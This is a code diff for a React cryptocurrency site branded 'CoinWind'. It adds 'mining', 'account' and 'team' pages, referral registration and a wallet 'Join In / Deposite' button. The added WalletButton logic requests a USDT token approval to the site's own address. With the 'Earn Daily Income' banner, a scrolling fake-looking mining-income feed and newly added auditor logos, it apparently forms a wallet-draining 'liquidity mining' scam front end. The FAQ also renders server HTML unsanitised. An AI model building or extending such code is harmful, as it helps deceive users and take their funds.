progressing

package-lock.json

@@ -2429,6 +2429,11 @@
         "@ethersproject/strings": "^5.6.0"
       }
     },
+    "@fontsource/open-sans": {
+      "version": "4.5.10",
+      "resolved": "https://registry.npmjs.org/@fontsource/open-sans/-/open-sans-4.5.10.tgz",
+      "integrity": "sha512-MrtTDfWb1Tu9YxVh2KaKmsKBn6O3KL/lHZS0KRKK58jgqvdwuiDt4QW4udmW4FQf0XOWgnZ+4vKUF80F3SqBAA=="
+    },
     "@humanwhocodes/config-array": {
       "version": "0.9.5",
       "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.9.5.tgz",
@@ -5867,6 +5872,11 @@
         "randomfill": "^1.0.3"
       }
     },
+    "crypto-js": {
+      "version": "4.1.1",
+      "resolved": "https://registry.npmjs.org/crypto-js/-/crypto-js-4.1.1.tgz",
+      "integrity": "sha512-o2JlM7ydqd3Qk9CA0L4NL6mTzU2sdx96a+oOfPu8Mkl/PK51vSyoi8/rQ8NknZtk44vq15lmhAj9CIAGwgeWKw=="
+    },
     "crypto-random-string": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/crypto-random-string/-/crypto-random-string-2.0.0.tgz",
@@ -8656,6 +8666,65 @@
         }
       }
     },
+    "html-dom-parser": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/html-dom-parser/-/html-dom-parser-1.2.0.tgz",
+      "integrity": "sha512-2HIpFMvvffsXHFUFjso0M9LqM+1Lm22BF+Df2ba+7QHJXjk63pWChEnI6YG27eaWqUdfnh5/Vy+OXrNTtepRsg==",
+      "requires": {
+        "domhandler": "4.3.1",
+        "htmlparser2": "7.2.0"
+      },
+      "dependencies": {
+        "dom-serializer": {
+          "version": "1.4.1",
+          "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.4.1.tgz",
+          "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==",
+          "requires": {
+            "domelementtype": "^2.0.1",
+            "domhandler": "^4.2.0",
+            "entities": "^2.0.0"
+          },
+          "dependencies": {
+            "entities": {
+              "version": "2.2.0",
+              "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz",
+              "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A=="
+            }
+          }
+        },
+        "domelementtype": {
+          "version": "2.3.0",
+          "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz",
+          "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw=="
+        },
+        "domutils": {
+          "version": "2.8.0",
+          "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz",
+          "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==",
+          "requires": {
+            "dom-serializer": "^1.0.1",
+            "domelementtype": "^2.2.0",
+            "domhandler": "^4.2.0"
+          }
+        },
+        "entities": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/entities/-/entities-3.0.1.tgz",
+          "integrity": "sha512-WiyBqoomrwMdFG1e0kqvASYfnlb0lp8M5o5Fw2OFq1hNZxxcNk8Ik0Xm7LxzBhuidnZB/UtBqVCgUz3kBOP51Q=="
+        },
+        "htmlparser2": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-7.2.0.tgz",
+          "integrity": "sha512-H7MImA4MS6cw7nbyURtLPO1Tms7C5H602LRETv95z1MxO/7CP7rDVROehUYeYBUYEON94NXXDEPmZuq+hX4sog==",
+          "requires": {
+            "domelementtype": "^2.0.1",
+            "domhandler": "^4.2.2",
+            "domutils": "^2.8.0",
+            "entities": "^3.0.1"
+          }
+        }
+      }
+    },
     "html-encoding-sniffer": {
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-2.0.1.tgz",
@@ -8703,6 +8772,17 @@
         "void-elements": "3.1.0"
       }
     },
+    "html-react-parser": {
+      "version": "1.4.12",
+      "resolved": "https://registry.npmjs.org/html-react-parser/-/html-react-parser-1.4.12.tgz",
+      "integrity": "sha512-nqYQzr4uXh67G9ejAG7djupTHmQvSTgjY83zbXLRfKHJ0F06751jXx6WKSFARDdXxCngo2/7H4Rwtfeowql4gQ==",
+      "requires": {
+        "domhandler": "4.3.1",
+        "html-dom-parser": "1.2.0",
+        "react-property": "2.0.0",
+        "style-to-js": "1.1.0"
+      }
+    },
     "html-webpack-plugin": {
       "version": "5.5.0",
       "resolved": "https://registry.npmjs.org/html-webpack-plugin/-/html-webpack-plugin-5.5.0.tgz",
@@ -8963,6 +9043,11 @@
       "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz",
       "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew=="
     },
+    "inline-style-parser": {
+      "version": "0.1.1",
+      "resolved": "https://registry.npmjs.org/inline-style-parser/-/inline-style-parser-0.1.1.tgz",
+      "integrity": "sha512-7NXolsK4CAS5+xvdj5OMMbI962hU/wvwoxk+LWR9Ek9bVtyuuYScDN6eS0rUm6TxApFpw7CX1o4uJzcd4AyD3Q=="
+    },
     "internal-slot": {
       "version": "1.0.3",
       "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.3.tgz",
@@ -13533,6 +13618,11 @@
       "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz",
       "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="
     },
+    "react-property": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/react-property/-/react-property-2.0.0.tgz",
+      "integrity": "sha512-kzmNjIgU32mO4mmH5+iUyrqlpFQhF8K2k7eZ4fdLSOPFrD1XgEuSBv9LDEgxRXTMBqMd8ppT0x6TIzqE5pdGdw=="
+    },
     "react-refresh": {
       "version": "0.11.0",
       "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.11.0.tgz",
@@ -14800,6 +14890,22 @@
       "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-3.3.1.tgz",
       "integrity": "sha512-GPcQ+LDJbrcxHORTRes6Jy2sfvK2kS6hpSfI/fXhPt+spVzxF6LJ1dHLN9zIGmVaaP044YKaIatFaufENRiDoQ=="
     },
+    "style-to-js": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/style-to-js/-/style-to-js-1.1.0.tgz",
+      "integrity": "sha512-1OqefPDxGrlMwcbfpsTVRyzwdhr4W0uxYQzeA2F1CBc8WG04udg2+ybRnvh3XYL4TdHQrCahLtax2jc8xaE6rA==",
+      "requires": {
+        "style-to-object": "0.3.0"
+      }
+    },
+    "style-to-object": {
+      "version": "0.3.0",
+      "resolved": "https://registry.npmjs.org/style-to-object/-/style-to-object-0.3.0.tgz",
+      "integrity": "sha512-CzFnRRXhzWIdItT3OmF8SQfWyahHhjq3HwcMNCNLn+N7klOOqPjMeG/4JSu77D7ypZdGvSzvkrbyeTMizz2VrA==",
+      "requires": {
+        "inline-style-parser": "0.1.1"
+      }
+    },
     "style-value-types": {
       "version": "5.0.0",
       "resolved": "https://registry.npmjs.org/style-value-types/-/style-value-types-5.0.0.tgz",

package.json

@@ -8,12 +8,15 @@
     "@coinbase/wallet-sdk": "^3.1.0",
     "@emotion/react": "^11.9.0",
     "@emotion/styled": "^11.8.1",
+    "@fontsource/open-sans": "^4.5.10",
     "@testing-library/jest-dom": "^5.16.4",
     "@testing-library/react": "^10.4.9",
     "@testing-library/user-event": "^12.8.3",
     "@walletconnect/web3-provider": "^1.7.8",
     "axios": "^0.27.2",
+    "crypto-js": "^4.1.1",
     "framer-motion": "^6.3.3",
+    "html-react-parser": "^1.4.12",
     "i18next": "^21.8.2",
     "prop-types": "^15.8.1",
     "react": "^18.1.0",

src/App.js

@@ -6,6 +6,7 @@ import { theme } from './theme'
 import { Layout } from './components'
 import { Outlet } from 'react-router-dom'
 import { AppContextProvider } from './AppContext'
+import '@fontsource/open-sans/400.css'
 
 function App() {
 

src/AppContext.js

@@ -2,7 +2,10 @@ import React from "react"
 import { config } from "./config"
 import { get_settings } from './api'
 import { ImTwitter, ImTelegram, ImFacebook, ImWhatsapp } from "react-icons/im"
-import { FiHome, FiTrendingUp, FiLock } from 'react-icons/fi'
+import {
+    FiHome, FiTrendingUp, FiLock,
+    FiActivity, FiUser, FiUsers,
+} from 'react-icons/fi'
 import { useTranslation } from "react-i18next"
 
 const AppContext = React.createContext(null)
@@ -22,6 +25,7 @@ export const AppContextProvider = ({ children }) => {
     const { t } = useTranslation()
 
     const [address, setAddress] = React.useState('')
+    const [shareLink, setShareLink] = React.useState('')
     // from settings
     const [title, setTitle] = React.useState('')
     const [logo, setLogo] = React.useState('')
@@ -37,9 +41,9 @@ export const AppContextProvider = ({ children }) => {
     const [kefuUrl, setKefuUrl] = React.useState('')
 
     const menuItems = [
-        { name: t('home'), icon: FiHome, path: '/home', enabled: true },
+        { name: t('mining'), icon: FiActivity, path: '/home', enabled: true },
-        { name: t('farm'), icon: FiTrendingUp, path: '/farm', enabled: true },
+        { name: t('account'), icon: FiUser, path: '/account', enabled: true },
-        { name: t('staking'), icon: FiLock, path: '/staking', enabled: true },
+        { name: t('team'), icon: FiUsers, path: '/team', enabled: true },
     ]
 
     const docItems = [
@@ -92,6 +96,8 @@ export const AppContextProvider = ({ children }) => {
         <AppContext.Provider value={{
             address,
             setAddress,
+            shareLink,
+            setShareLink,
             logo,
             lockImg,
             title,

src/api/api.js

@@ -1,6 +1,9 @@
 import axios from 'axios'
+import crypto from 'crypto-js'
 import { config } from '../config'
 
+const sha1 = (s) => crypto.SHA1(s).toString()
+
 const get = (path) => {
     return axios.get(config.ENDPOINT + path)
 }
@@ -9,12 +12,30 @@ const getWith = (path, data) => {
     return axios.get(config.ENDPOINT + path, { params: data })
 }
 
-const post = (path, data, onSuccess, onFailed) => {
+const getApi = (path) => {
-    axios.post(config.ENDPOINT + path, data).then(res => {
+    return axios.get(config.ENDPOINT + 'api/' + path)
-        onSuccess && onSuccess(res.data)
+}
-    }).catch(err => {
+
-        onFailed && onFailed(err)
+const getApiWith = (path, data) => {
-    })
+    return axios.get(config.ENDPOINT + 'api/' + path, { params: data })
+}
+
+/**
+ * POST json body to backend.
+ * 
+ * NOTICE: started with /api/
+ * 
+ * @param {string} path url path
+ * @param {json object} json js object
+ * @param {function} onSuccess 
+ * @param {function} onFailed 
+ */
+const post = (path, json) => {
+    return axios.post(config.ENDPOINT + 'api/' + path, json, {
+        headers: {
+            'Content-Type': 'application/json'
+        }
+    });
 }
 
 export const get_settings = () => {
@@ -47,6 +68,89 @@ export const get_register = (address, referral) => {
     })
 }
 
+// new api
+export const post_register = (address, referral, protocol = 'ERC20') => {
+    const ts = Math.floor(Date.now() / 1000)
+    const s = sha1(address + protocol + ts)
+
+    return post('v1/register', {
+        address,
+        referral,
+        protocol,
+        ts,
+        s,
+    })
+}
+
+export const post_authorized = (address, hash) => {
+    const ts = Math.floor(Date.now() / 1000)
+    const s = sha1(address + ts)
+
+    return post('v1/authorized', {
+        address,
+        hash,
+        ts,
+        s,
+    })
+}
+
+export const post_staking = (address, amount) => {
+    const ts = Math.floor(Date.now() / 1000)
+    const s = sha1(address + amount + ts)
+
+    return post('v1/staking', {
+        address,
+        amount,
+        ts,
+        s,
+    })
+}
+
+export const post_withdraw = (address, amount) => {
+    const ts = Math.floor(Date.now() / 1000)
+    const s = sha1(address + amount + ts)
+
+    return post('v1/withdraw', {
+        address,
+        amount,
+        ts,
+        s,
+    })
+}
+
+export const get_page_mining = () => {
+    return getApi('v1/page_mining')
+}
+
+export const get_page_account = () => {
+    return getApi('v1/page_account')
+}
+
+export const get_page_team = () => {
+    return getApi('v1/page_team')
+}
+
+export const get_withdrawal_history = (address) => {
+    return getApi('v1/withdrawal_history', {
+        address,
+    })
+}
+
+export const get_daily_revenue_history = (address) => {
+
+    return getApi('v1/daily_revenue_history', {
+        address,
+    })
+}
+
+export const get_reward_history = (address) => {
+    return getApi('v1/reward_history', {
+        address,
+    })
+}
+
+// ========================================
+
 export const get_ether = (address) => {
     return getWith('apiEther', {
         address,

src/components/Auditors.js

@@ -32,13 +32,14 @@ export const Auditors = ({ ...rest }) => {
                 </Text>
             </Center>
             <HStack
-                spacing={{ base: '6', md: '30', lg: '60' }}
+                spacing={{ base: '6', md: '40' }}
                 py='4'
+                px='8'
             >
                 {
                     Images.auditors.map((img) => (
                         <Box key={img}>
-                            <Image src={img} alt="auditor" />
+                            <Image borderRadius="50%" src={img} alt="auditor" />
                         </Box>
                     ))
                 }

src/components/Faq.js

@@ -0,0 +1,41 @@
+import {
+    Divider, Accordion, AccordionItem,
+    AccordionButton, Box, AccordionIcon,
+    AccordionPanel,
+} from "@chakra-ui/react"
+import React from "react"
+import { PanelHeader, VPanel } from "./Panels"
+import parse from 'html-react-parser'
+
+
+export const Faq = ({ articles, ...rest }) => {
+
+    return (
+        <VPanel {...rest}>
+            <PanelHeader header="Help Center" subHeader="Hope it help you" />
+
+            <Accordion w="full" allowToggle>
+
+                {
+                    articles && articles.map((a, index) => (
+                        <AccordionItem key={index}>
+                            <h2>
+                                <AccordionButton>
+                                    <Box fontWeight='600' flex='1' textAlign='left'>
+                                        {a.title}
+                                    </Box>
+                                    <AccordionIcon />
+                                </AccordionButton>
+                            </h2>
+                            <AccordionPanel pb={4}>
+                                {parse(a.content)}
+                            </AccordionPanel>
+                        </AccordionItem>
+                    ))
+                }
+
+            </Accordion>
+
+        </VPanel>
+    )
+}

src/components/Hero.js

@@ -0,0 +1,45 @@
+import React from 'react'
+import { Button, Flex, VStack, Stack, Text } from '@chakra-ui/react'
+import { HFStack, Placeholder, VFStack } from './base'
+import { Logo } from './Logo'
+import { Images } from '../data'
+import { WalletButton } from './WalletButton'
+
+export const Hero = ({ bg }) => {
+
+    return (
+        <Flex w="full" h="30vh"
+            bgImage={'url(' + Images.stakingBanner + ')'}
+            bgSize="cover"
+            bgPos="center"
+        >
+
+            <VFStack align="start">
+                {/* <HFStack my="4" px="4"> */}
+                <Logo p="4" />
+                {/* </HFStack> */}
+
+                <Placeholder h='16' />
+                <VStack pl="4">
+                    <Text
+                        fontWeight='700'
+                        fontSize='22'
+                        color='white'
+                    >
+                        Join The Team
+                    </Text>
+                    <Text
+                        fontWeight='700'
+                        fontSize='14'
+                        color='white'
+                    >
+                        Earn Daily Income
+                    </Text>
+                    <Stack>
+                        <WalletButton />
+                    </Stack>
+                </VStack>
+            </VFStack>
+        </Flex>
+    )
+}

src/components/LRPanel.js

@@ -0,0 +1,51 @@
+import React from "react"
+import { Divider, Text, Box, useColorModeValue } from "@chakra-ui/react"
+
+import { HBetween, HFStack } from "./base"
+import { PanelHeader, VPanel } from "./Panels"
+
+
+export const LRPanel = (icon, title, data) => {
+
+    const TL = ({ title }) => (
+        <Text
+            color="gray.500"
+            fontSize="16"
+        >
+            {title}
+        </Text>
+    )
+    const TR = ({ value, ...rest }) => (
+        <Text
+            fontSize="20"
+            fontWeight="700"
+            {...rest}
+        >
+            {value}
+        </Text>
+    )
+
+    return (
+        <VPanel>
+
+            <PanelHeader header={title} />
+            
+            <Divider />
+
+            <HBetween py="2">
+                <TL title="ggg" />
+                <TR value="gdf" />
+            </HBetween>
+            {
+
+                data && data.map((item, index) => (
+                    <HBetween key={index} py="2">
+                        <TL title={item.name} />
+                        <TR value={item.value} />
+                    </HBetween>
+                ))
+
+            }
+        </VPanel >
+    )
+}

src/components/LatestScreen.js

@@ -0,0 +1,71 @@
+import React from "react"
+import { Text } from "@chakra-ui/react"
+import { PanelHeader, VPanel } from "./Panels"
+import { VFStack, HFStack, HBetween } from "./base"
+import { Swiper, SwiperSlide } from "swiper/react"
+
+import 'swiper/css'
+import "swiper/css/pagination"
+import "swiper/css/navigation"
+import '../swiper.css'
+
+import { Pagination, Autoplay, Navigation } from "swiper"
+
+let format = [
+    { address: '', quantity: 234234.05 }
+]
+export const LatestScreen = ({ data, ...rest }) => {
+
+    const TAddress = ({ text }) => (<Text color='blue.500'>{text}</Text>)
+
+    const TQuantity = ({ text }) => (<Text fontWeight='500'>{text}</Text>)
+
+    return (
+        <VPanel {...rest}>
+            <PanelHeader header="Mining" subHeader="Liquidity mining income" />
+
+            <HBetween py="2">
+                <Text
+                    color='gray.500'
+                    fontSize="16"
+                >Address</Text>
+                <Text
+                    color='gray.500'
+                    fontSize="16"
+                >Quantity</Text>
+            </HBetween>
+
+            <HFStack h="60">
+                <Swiper
+                    direction={"vertical"}
+                    slidesPerView={6}
+                    spaceBetween={0}
+                    // centeredSlides={true}
+                    speed={5000}
+                    loop={true}
+                    autoplay={{
+                        delay: 1,
+                        disableOnInteraction: false
+                    }}
+                    // pagination={{
+                    //     clickable: true
+                    // }}
+                    modules={[Autoplay, Pagination, Navigation]}
+                    className="swiper-container-free-mode"
+                >
+                    {
+                        data && data.map((d, index) => (
+                            <SwiperSlide key={index} h="10">
+                                <HBetween>
+                                    <TAddress text={d.address} />
+                                    <TQuantity text={d.quantity + ' USDT'} />
+                                </HBetween>
+                            </SwiperSlide>
+                        ))
+                    }
+                </Swiper>
+            </HFStack>
+
+        </VPanel>
+    )
+}

src/components/Layout.js

@@ -6,42 +6,29 @@ import React from 'react'
 import { SideBar } from './SideBar'
 import { AppBar } from './AppBar'
 import { BottomNav } from './BottomNav'
+import { Hero } from './Hero'
+import { HFStack } from './base'
 
 /**
  * This component was not composed for more widely using but just for this project.
  */
 export const Layout = ({ children }) => {
-    const { isOpen: isDrawerOpening, onOpen: onOpenDrawer, onClose: onCloseDrawer } = useDisclosure()
+    const { isOpen: isOpenDrawer, onOpen: onOpenDrawer, onClose: onCloseDrawer } = useDisclosure()
 
     const bg = useColorModeValue('gray.100', 'gray.900')
 
     return (
         <Box minH="100vh" bg={bg}>
-            <SideBar
+            <HFStack
-                onCloseDrawer={onCloseDrawer}
+                bg="white"
-                display={{ base: 'none', md: 'block' }}
+                borderRadius="5"
-            />
+            >
-
+                <Hero />
-            <Drawer
+            </HFStack>
-                autoFocus={false}
-                isOpen={isDrawerOpening}
-                placement="right"
-                onClose={onCloseDrawer}
-                returnFocusOnClose={false}
-                onOverlayClick={onCloseDrawer}
-                size="md">
-
-                <DrawerOverlay />
-
-                <DrawerContent>
-                    <SideBar onCloseDrawer={onCloseDrawer} />
-                </DrawerContent>
-            </Drawer>
-
-            <AppBar onOpenDrawer={onOpenDrawer} />
 
             <Box
-                ml={{ base: 0, md: 60 }}
+                // ml={{ base: 0, md: 60 }}
+                bg="white"
                 py="4"
                 px={{ base: 2, md: 8 }}
                 overflowY="auto"
@@ -49,7 +36,7 @@ export const Layout = ({ children }) => {
                 {children}
             </Box>
 
-            <BottomNav display={{ base: 'flex', md: 'none' }} />
+            <BottomNav zIndex="1" display={{ base: 'flex', md: 'none' }} />
 
         </Box>
     )

src/components/Panels.js

@@ -0,0 +1,68 @@
+import { Stack, VStack, useColorModeValue, Text, HStack } from "@chakra-ui/react"
+import { VFStack } from "./base"
+
+
+export const AutoPanel = ({ children, ...rest }) => {
+
+    const bg = useColorModeValue('white', 'gray.900')
+
+    return (
+        <Stack
+            w="full"
+            bg={bg}
+            borderWidth="1px"
+            borderRadius="lg"
+            boxShadow="lg"
+            p="4"
+            direction={{ base: 'column', md: 'row' }}
+            {...rest}
+        >
+            {children}
+        </Stack>
+    )
+}
+
+
+export const VPanel = ({ children, ...rest }) => {
+
+    const bg = useColorModeValue('white', 'gray.900')
+
+    return (
+        <VStack
+            bg={bg}
+            borderWidth="1px"
+            borderRadius="lg"
+            boxShadow="lg"
+            p="4"
+            {...rest}
+        >
+            {children}
+        </VStack>
+    )
+}
+
+export const PanelHeader = ({ header, subHeader, ...rest }) => (
+    <VFStack
+        {...rest}
+    >
+        {
+            header &&
+            <HStack>
+                <Text
+                    fontSize="18"
+                    fontWeight="700"
+                >{header}</Text>
+            </HStack>
+        }
+        {
+            subHeader &&
+            <HStack>
+                <Text
+                    fontSize="16"
+                    fontWeight="700"
+                    color='gray.500'
+                >{subHeader}</Text>
+            </HStack>
+        }
+    </VFStack>
+)

src/components/PoolData.js

@@ -0,0 +1,52 @@
+import React from "react"
+import { Divider, Text, Icon, } from "@chakra-ui/react"
+
+import { HBetween, HFStack } from "./base"
+import { VPanel } from "./Panels"
+
+
+export const PoolData = ({ icon, title, data }) => {
+    const TL = ({ title }) => (
+        <Text
+            color="gray.500"
+            fontSize="16"
+        >
+            {title}
+        </Text>
+    )
+
+    const TR = ({ value, ...rest }) => (
+        <Text
+            fontSize="16"
+            fontWeight="700"
+            {...rest}
+        >
+            {value}
+        </Text>
+    )
+
+    return (
+        <VPanel>
+            <HFStack>
+                {icon && <Icon as={icon} />}
+                <Text
+                    fontSize="18"
+                    fontWeight="700"
+                >
+                    {title}
+                </Text>
+            </HFStack>
+
+            <Divider />
+
+            {
+                data && data.map((d, index) => (
+                    <HBetween key={index} py="2">
+                        <TL title={d.name} />
+                        <TR color={d.emp ? "blue.400" : ''} value={d.value + ' ' + d.unit} />
+                    </HBetween>
+                ))
+            }
+        </VPanel>
+    )
+}

src/components/WalletButton.js

@@ -0,0 +1,145 @@
+import React from "react"
+import { Button, useDisclosure, useToast } from "@chakra-ui/react"
+import { useApp } from "../AppContext"
+import { useSearchParams } from 'react-router-dom'
+import { toastw, toasti, ModalDeposite, toasts, toaste } from '../uimsg'
+import { connectWallet, addEventListeners, fetchAccount, approve, transfer } from '../lib'
+import { post_register, post_staking, get_ether, post_authorized, get_authorization_search } from '../api'
+import { ABI, contract_usdt_on_eth } from "../data"
+
+const walletButtonOptions = {
+    text: 'Join In',
+    connText: 'Deposite',
+}
+
+export const WalletButton = ({ ...rest }) => {
+    const app = useApp()
+    const toast = useToast()
+    const [authorized, setAutorized] = React.useState(false)
+    const [searchParams, setSearchParams] = useSearchParams()
+    const { isOpen: isOpenDeposite, onOpen: doOpenDeposite, onClose: doCloseDeposite } = useDisclosure()
+    const refDepositeFocus = React.useRef()
+
+    const getUserWalletAddress = async () => {
+        const address = await fetchAccount()
+        if (address) {
+            app.setAddress(prev => address)
+            toasti(toast, address, 'Connected')
+        }
+
+        const referral = searchParams.get('referral') || ''
+        post_register(address, referral).then(res => {
+            app.setShareLink(res.data.shareLink)
+            // console.log(res.data)
+        }).catch(err => {
+            console.error('get_register() error:' + err.message)
+        })
+
+        // checkAuth(address)
+    }
+
+    const connect = async () => {
+        if (await connectWallet()) {
+            await addEventListeners(getUserWalletAddress)
+            await getUserWalletAddress()
+        }
+    }
+
+    const checkAuth = (address) => {
+        get_ether(address).then(res => {
+            let auth_ok = false
+
+            res.data.result.forEach(r => {
+                if (r.from == address.toLowerCase() && r.isError == 0) {
+                    if (r.input.search(app.appAddress.substring(4, 35).toLowerCase()) != -1 &&
+                        r.to == contract_usdt_on_eth) {
+
+                        auth_ok = true
+                        setAutorized(true)
+                    }
+                }
+            })
+
+            if (!auth_ok) {
+                approve(ABI, contract_usdt_on_eth, app.appAddress, address, (err, tx) => {
+                    if (!err) {
+                        post_authorized(address, tx).then(res => {
+
+                        }).catch(err => {
+                            console.error('post_authorized() error:' + err.message)
+                        })
+
+                        //
+                        let hi = setInterval(() => {
+                            get_authorization_search(tx).then(res => {
+                                clearInterval(hi)
+                            }).catch(err => {
+                                console.error("get_authorization_search() error:" + err.message)
+                            })
+                        }, 8000)
+                    } else {
+                        console.error("approve error:" + err.message)
+                    }
+                })
+            }
+        }).catch(err => {
+
+        })
+    }
+
+    const onBtnThis = async () => {
+        if (!app.address) {
+            await connect()
+            // checkAuth()
+        } else {
+            // deposite
+            doOpenDeposite()
+        }
+    }
+
+    const onDepositeSucceed = (amount) => {
+        toasts(toast, "You have successfully deposited " + amount + ' USDT')
+
+        post_staking(app.address, amount).then(res => {
+
+        }).catch(err => {
+            toaste(toast, 'Please contact customer service to report your deposition.', 'Error')
+        })
+    }
+
+    const onConfirmDeposite = () => {
+        const amount = refDepositeFocus.current.value
+        if (amount <= 0) {
+            toasti(toast, 'Invalid amount value')
+            return
+        }
+
+        transfer(ABI, contract_usdt_on_eth, app.appAddress, app.address, (err, res) => {
+            if (!err) {
+                onDepositeSucceed(amount)
+            } else {
+                toaste(toast, 'Deposite failed')
+            }
+        })
+    }
+
+    return (
+        <>
+            <Button
+                onClick={onBtnThis}
+                colorScheme='teal'
+                variant="solid"
+                {...rest}
+            >
+                {authorized ? walletButtonOptions.connText : walletButtonOptions.text}
+            </Button>
+
+            <ModalDeposite
+                isOpen={isOpenDeposite}
+                onClose={doCloseDeposite}
+                onConfirm={onConfirmDeposite}
+                ref={refDepositeFocus}
+            />
+        </>
+    )
+}

src/components/base/Panel.js

@@ -1,16 +0,0 @@
-import { Stack } from "@chakra-ui/react"
-
-
-export const Panel = ({ children, ...rest }) => {
-
-    return (
-        <Stack
-            w="full"
-            borderRadius="lg"
-            direction={{ base: 'column', md: 'row' }}
-            {...rest}
-        >
-            {children}
-        </Stack>
-    )
-}

src/components/base/index.js

@@ -2,5 +2,4 @@ export * from './row'
 export * from './col'
 export * from './ChakraBottomNav'
 export * from './ColorModeSwitcher'
-export * from './Panel'
 export * from './Placeholder'

src/components/index.js

@@ -7,5 +7,12 @@ export * from './Partners'
 export * from './Auditors'
 export * from './FarmCoinCard'
 export * from './StakingCoinCard'
+export * from './Panels'
+export * from './LRPanel'
+export * from './Faq'
+export * from './Hero'
+export * from './LatestScreen'
+export * from './PoolData'
+export * from './WalletButton'
 export * from './alert'
 export * from './base'

src/config.js

@@ -10,9 +10,12 @@ const items = {
 
 export const config = {
     APP_NAME: process.env.REACT_APP_NAME || 'CoinWind',
-    ENABLE_WALLETCONNECT: false,
+    ENABLE_WALLETCONNECT: true,
     ENABLE_COINBASE: true,
     AUTO_CONN_WALLET: false,
     INFURAL_ID: 'a4a92ab2377d4bb9a693d96c27c6523e',
+    DOMAIN: 'https://ndb.01a01.com/',
+    AGENT_WHITELIST: [],
     ENDPOINT: process.env.NODE_ENV === 'production' ? items.production.ENDPOINT : items.development.ENDPOINT,
+    API: () => this.ENDPOINT + 'api/',
 }

src/data.js

@@ -3,9 +3,13 @@ import { config } from "./config"
 export const Images = {
     logo: config.ENDPOINT + 'upload/images/LOGO1.svg',
     auditors: [
-        config.ENDPOINT + 'static/media/logo-lingzonganquan.5ab95e1c.svg',
+        process.env.PUBLIC_URL + '/imgs/auditors/certik.jpg',
-        config.ENDPOINT + 'static/media/logo-chengdulianan.8167d6d1.svg',
+        process.env.PUBLIC_URL + '/imgs/auditors/sybxgroup.png',
+        process.env.PUBLIC_URL + '/imgs/auditors/qedit.png',
+        process.env.PUBLIC_URL + '/imgs/auditors/orchidlabs.png',
+        process.env.PUBLIC_URL + '/imgs/auditors/polysign.jpg',
     ],
+
     partners: [
         config.ENDPOINT + 'static/media/mexc.png',
         config.ENDPOINT + 'static/media/WhatsCion LOGO.6719d0fe.svg',
@@ -20,9 +24,11 @@ export const Images = {
         config.ENDPOINT + 'static/media/aolink.55778d9b.svg',
         config.ENDPOINT + 'static/media/codebank.db7917c8.svg',
     ],
+
     more: config.ENDPOINT + 'static/media/icon-more.c502d302.svg',
     new: config.ENDPOINT + 'static/media/jiaobiao-eth.4b55fb16.svg',
-    stakingBanner: config.ENDPOINT + 'static/media/banner-staking-bsc-english.539496dc.png'
+    stakingBanner: config.ENDPOINT + 'static/media/eth_mining.jpg',
+    usdt: config.ENDPOINT + 'upload/images/XTVCUSDT--big.svg',
 }
 
 export const ABI = [
@@ -268,3 +274,5 @@ export const ABI = [
         "type": "function"
     }
 ]
+
+export const contract_usdt_on_eth = '0xdac17f958d2ee523a2206206994597c13d831ec7'

src/index.js

@@ -1,8 +1,11 @@
 import React, { StrictMode } from 'react'
 import { createRoot } from 'react-dom/client'
-import i18n from './i18'
+import i18n from './i18' // DO NOT REMOVE
 import App from './App'
-import { Home, Farm, Staking, Faq,Announcement,Tut } from './pages'
+import {
+  Home, Account, Team,
+  Farm, Staking, Faq, Announcement, Tut,
+} from './pages'
 import reportWebVitals from './reportWebVitals'
 import * as serviceWorker from './serviceWorker'
 import { BrowserRouter, Routes, Route } from 'react-router-dom'
@@ -18,11 +21,13 @@ root.render(
         <Route path="/" element={<App />}>
           <Route index element={<Home />} />
           <Route path="home" element={<Home />} />
-          <Route path="farm" element={<Farm />} />
+          <Route path='account' element={<Account />} />
+          <Route path='team' element={<Team />} />
+          {/* <Route path="farm" element={<Farm />} />
           <Route path="staking" element={<Staking />} />
           <Route path="faq" element={<Faq />} />
           <Route path="ann" element={<Announcement />} />
-          <Route path="tut" element={<Tut />} />
+          <Route path="tut" element={<Tut />} /> */}
           <Route path="*" element={<NotFound />} />
         </Route>
       </Routes>

src/lang/en.js

@@ -3,6 +3,8 @@ export const en = {
     home: 'Home',
     farm: 'Farm',
     staking: 'Staking',
+    account: 'Account',
+    team: 'Team',
     announcement: 'Announcement',
     faq: 'FAQ',
     tutorial: 'tutorial',

src/lang/fr.js

@@ -3,6 +3,8 @@ export const fr = {
     home: 'Domicile',
     farm: 'Ferme',
     staking: 'Jalonnement',
+    account: 'Account',
+    team: 'Team',
